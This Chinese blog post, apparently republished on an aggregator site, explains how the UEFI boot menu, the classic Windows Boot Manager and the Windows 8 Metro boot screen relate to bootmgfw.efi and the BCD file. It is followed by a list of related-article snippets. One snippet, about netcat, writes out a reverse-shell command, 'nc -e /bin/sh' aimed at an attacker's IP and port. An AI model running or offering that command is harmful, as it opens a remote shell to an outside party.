33三个启动菜单的区别辨析与本质探索

三个启动菜单的区别辨析与本质探索

你是否傻傻分不清以下三种启动菜单的本质到底是什么?

6a647ec675b9ef725b3639a00cd785de.png

e635bdf58c7e792ae76ab873f6257a84.png

5a8d86e731815659fca9b427cb01fcf4.png

有一个看起来非常古老生硬,蓝色大背景,字母丑陋;

还有一个看起来老气横秋,黑底白字,像极了远古时期的电脑报废的样子(

第三个看起来却高端大气上档次,优雅简洁,满满的磁贴风格,商务感十足。

(不是我说,同样的蓝色背景,给人的感觉差异怎么会这么大:)

现在我们探究一下这三种启动菜单到底都和什么相关联。

UEFI启动菜单

那个古老生硬,有蓝色大背景,字体丑陋的启动菜单便是UEFI启动菜单。仔细观察这个菜单里的项目的名称,看起来并不像是Windows操作系统的名字,倒像是一些固件的名字,比如磁盘(NSID),U盘和光盘驱动器(CDROM Drive)。

我们由此推测,UEFI启动菜单与操作系统Windows是不是没什么太大关系?

事实上,他们之间的联系很少。还记得UEFI固件在引导操作系统启动时的发挥功能吗?就是加载efi程序。

第一步,寻找UEFI能识别的文件系统的分区。其实就是寻找以FAT32,FAT16,FAT12为文件系统的分区。

第二步,寻找这些分区里的efi程序。当然,UEFI固件不会盲目的寻找efi程序,而是遵循着一个固定的文件目录结构。这个文件目录结构在我的第19篇:《Windows计算机启动过程分析1》 里介绍的十分详细。

通过这个固定的目录结构(EFI->Microsoft->Boot->bootmgfw.efi),UEFI固件找到了bootmgfw.efi这个efi程序,并把它的信息放在了UEFI启动菜单里,作为一个启动项。

我们通过键盘选择一个启动项目,回车进入,本质上就是运行了这个efi程序。

由此可见,在UEFI启动菜单这一阶段,并不涉及和Windows系统启动运行的任何关系,只是运行了一个bootmgfw.efi。

然而,bootmgfw.efi是微软为了Windows系统启动特制的一款efi启动程序,中文名为 Windows启动管理器。我们可以猜测一下,他的全名可能是boot manager for Windows。

操作系统启动菜单

对于Windows系统,我们在UEFI固件里选择了bootmgfw.efi这个启动项后,UEFI就把计算机的控制权交给了这个程序。所以,从这里开始,直到Windows启动成功,所有的运行过程都是bootmgfw.efi杰作。

在那个黑底白字的“Windows启动管理器”界面,便是bootmgfw.efi的界面。它列出了操作系统的名称列表供我们选择一个并启动。那么他列出的这个操作系统的启动列表又是从哪里得到的呢?

有两种可能的猜测:

第一种:这个列表是内置于bootmgfw.efi这个程序里的。

第二种:有另外一个文件里面储存了这个列表,bootmgfw.efi只是读取了这个文件,并把这个列表显示了出来。

这道题的答案一定是第二种猜测。那个储存启动信息的文件就是BCD文件。

有关BCD文件的配置,编辑等操作,在我的第20篇: 《Windows计算机启动过程分析2》 里面有详细的介绍。

微软在发布Windows 8的时候越发的觉得这种黑底白字的Windows启动管理器非常的不雅观。所以,从Windows 8开始,微软使用了全新的Windows启动管理器界面,也就是我们看到的十分现代,高端,大气,上档次的浅蓝色界面——Windows 8 Metro界面。

因此,Windows 8 Metro风格启动管理器和黑底白字的老式启动管理器的本质是一致的,都是读取BCD并引导Windows启动。只不过Windows 8 之后,启动管理器换了一身华丽的“衣服”而已。

但是,华丽的Metro也有他的缺点,就是从开机到Metro显示出来的时间比老版本的要更长。

我们可以通过在bootice里面编辑BCD文件的方式,取消使用Metro模式,加速虚拟机的启动。

阅读完本文,希望你可以对启动引导菜单有更深刻的认识。

本文由博客一文多发平台 OpenWrite 发布!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626481.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CSS2(一):CSS选择器

文章目录 1、CSS基础1.1 CSS简介1.2 CSS编写位置1.2.1 行内样式1.2.2 内部样式1.2.3 外部样式1.2.4 样式优先级 1.2.5 CSS代码风格 2、CSS选择器2.1、基本选择器2.1.1 通配选择器2.1.2 元素选择器2.1.3 类选择器2.1.4 ID选择器2.1.5 总结 2.2、CSS复合选择器2.2.1 交集选择器2.…

TailwindCSS在vite项目中的安装与使用

一、Tailwind CSS工作原理 Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他类名称模板,生成相应的样式,然后将它们写入静态 CSS 文件。它快速、灵活且可靠 — 具有零运行时间。 二、安装必要依赖 Vite创建的项目默认集成了Post…

【从零开始学习Redis | 第十一篇】快速介绍Redis持久化策略

前言: Redis 作为一种快速、高效的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景。然而,由于其特性是基于内存的,一旦服务器进程退出,内存中的数据就会丢失。为了解决这一问题,Redis 提供了持久…

二叉树——初解

二叉树 树树的概念树的性质 二叉树二叉树的概念二叉树的性质二叉树的实现方式数组构建左孩子右兄弟法构建指针构建 树 树的概念 在计算机科学中,树(Tree)是一种重要的非线性数据结构,它由若干节点(Node)组…

揿针在医保上叫什么?

点击文末领取揿针的视频教程跟直播讲解 创新型皮内针(揿针)——医保甲类产品 皮内针(揿针)技术属于重点推广的中医适宜技术,是将特制的小型针具固定于腧穴部位的皮内或皮下做较长时间留针的一种方法,称“…

商家利器!手机智能无人直播实时场景,轻松解决获客难、成本高难题

​​随着互联网的飞速发展,直播行业正在成为一种新型的商业模式。然而,许多商家在进行直播带货时面临着获客困难和高成本的挑战。为了解决这些问题,本文将介绍一种名为"自动直播"的功能,并详述如何利用手机实现实时场景…

2025考研专业课、英语、数学、政治视频大全,整理全了!

考研季又到了,备考的小伙伴们,你们准备好了吗? 时间管理 考研是一场与时间的赛跑,合理安排时间,让复习更高效! - 制定详细的学习计划,每天、每周、每月都有明确目标 - ‍♂️ 保持一定的学习…

AI日报:OpenAI全能模型GPT-4o发布;阿里推自动化视频剪辑神器;AI作品会侵权吗?调研结果...;零一万物开源Yi-1.5模型

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南,每天我们为你呈现AI领域的热点内容,聚焦开发者,助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解:https://top.aibase.com/ 1、干翻所有语音助手&#x…

2024年了,Covid19怎么发?PANoptosis程序性死亡,抓紧上车!

说在前面 大家众所周知的新冠,其实早在19年末,20年初的时候很多人都抓住了这个热点发到了好文章,Covid-19,这玩意可以做到让一个期刊从2分飙升到20分,且非预警期刊,不过现在退火了,今年是12.7分…

程序员就是管道工

程序是由指令和数据组成的。 指令是按照特定的顺序执行的,这些顺序好比水的流向。 要想让水高效地流向我们想要的地方,就要设计一个精良的管道系统,这好比算法。 剩下的就是修建管道了,你要知道各种管的型号、用途,然…

使用Nginx对网站资源进行加密访问并限制访问IP

你好呀,我是赵兴晨,文科程序员。 大家在工作中有没有遇到过这样的需求,新上的网站部署到生产服务器上,但是还没公开,只允许个别高层领导看。 思来想去,我想到了一个简单的方法,通过Nginx对网站…

论文解读:Self-Prompt Mechanism for Few-Shot Image Recognition

文章汇总 存在的问题 由于提示文本和图像特征之间固有的模态差异,常规的提示方法的性能受到限制。 动机 让视觉信息自己给自己提示 解决办法 SPM涉及到图像编码器跨空间和通道维度产生的固有语义特征的系统选择,从而产生自提示信息。随后&#xff…

滚珠螺杆在精密机械设备中如何维持精度要求?

滚珠螺杆在精密设备领域中的运用非常之广泛,具有精度高、效率高的特点。为了确保滚珠螺杆在生产设备中能够发挥最佳性能,我们必须从多个维度进行深入考量,并采取针对性的措施,以确保其稳定、精准地服务于现代化生产的每一个环节。…

KeyShot 2023.3 Pro for mac/win:完美融合3D渲染与动画制作

在当今数字化时代,视觉内容的创作和表现越来越受到重视。无论是产品设计、建筑规划,还是影视特效,都需要具备出色的3D渲染和动画制作工具来展现创意和想法。而作为业内领先的3D渲染和动画制作软件之一,KeyShot 2023.3 Pro在这个领…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…

邓闲小——生存、生活、生命|真北写作

人生有三个层次∶生存、生活、生命。 生存就是做必须做的事。生存的模式是邓,是交易,是买卖。别人需要的东西,你生产出来,卖给他。哪怕这个东西没啥用,也可以卖,情绪也可以卖。你需要的东西,你花…

《Python编程从入门到实践》day28

# 昨日知识点回顾 安装Matplotlib 绘制简单的折线图 # 今日知识点学习 15.2.1 修改标签文字和线条粗细 # module backend_interagg has no attribute FigureCanvas. Did you mean: FigureCanvasAgg? # 解决办法:matplotlib切换图形界面显示终端TkAgg。 #…

回复完成 输入框还显示值的问题

回复完成 输入框还显示值的问题 解决代码 先把id 值清空 再构建下这个输入框 $("#details_article_reply_content").val(""); // 清空textareavar editor editormd("article_details_reply", {width: "100%",height: "100%"…

【HarmonyOS】Stage 模型 - 应用配置文件

如图所示: Stage 模型应用配置文件主要有两类: 全局配置文件。放在 AppScope 目录下,app.json5。用来配置应用全局的信息。模块配置文件,放在每个模块里,module.json5。用来配置模块的信息。 一、全局配置文件 示…

声纹识别的对抗与防御

随着机器学习理论和方法的发展, 出现了用于模仿特定说话人语音的深度伪造、针对语音识别和声纹识别的对抗样本, 它们都为破坏语音载体的可信性和安全性提供了具体手段, 进而对各自应用场景的信息安全构成了挑战。 深度伪造是利用生成式对抗网络等方法, 通过构建特定的模型, 产生…